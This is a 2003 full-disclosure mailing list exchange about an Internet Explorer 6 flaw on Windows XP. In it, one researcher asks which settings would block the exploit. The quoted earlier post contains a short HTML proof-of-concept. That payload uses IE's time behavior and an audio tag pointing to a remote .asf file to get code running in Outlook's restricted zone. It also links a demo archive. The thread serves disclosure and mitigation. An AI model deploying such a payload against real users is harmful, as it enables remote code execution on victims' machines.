full-disclosure - Internet explorer 6 on windows XP allows exection of arbitrary code

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Message-ID: <001301c3794c$c0d84460$550ffea9@rms>
From: rms at computerbytesman.com (Richard M. Smith)
Subject: Internet explorer 6 on windows XP allows exection of arbitrary code

Do you have any suggestions of feature(s) that can be turned off in
Windows, Outlook, or Internet Explorer that will prevent this exploit
for working?  I'm mostly interested in some feature that wouldn't
typically be used on a Web page.   It's also not necessary for there to
be a UI to turn a feature on or off.  A hidden registry setting is fine.

Also, Internet Explorer has an option for turning off sounds in Web
pages.  If sounds are turned off in IE, will this exploit still work?

Thanks,
Richard

-----Original Message-----
From: full-disclosure-admin@...ts.netsys.com
[mailto:full-disclosure-admin@...ts.netsys.com] On Behalf Of
http-equiv@...ite.com
Sent: Friday, September 12, 2003 11:56 AM
To: full-disclosure@...ts.netsys.com
Cc: jkuperus@...net.nl
Subject: Re: [Full-Disclosure] Internet explorer 6 on windows XP allows
exection of arbitrary code

<!-- 

when viewing mail in recent versions of outlook it operates in the
restricted zone ,eg no active scripting allowed to run, so these wont 
be exploitable unless someone proofs otherwise that is ;)

 -->

<html xmlns:t>
<head><style>
t\:*{behavior:url(#default#time);display:none}</style></head><body>
<t:audio  t:src="http://www.malware.com/freek.asf"  />
</body></html>

Trivial inline url flip in the restricted zone. WMP 8 and under. 
Unpatched since May 2003 should do the trick:

http://www.malware.com/but.its.free.zip 

-- 
http://www.malware.com

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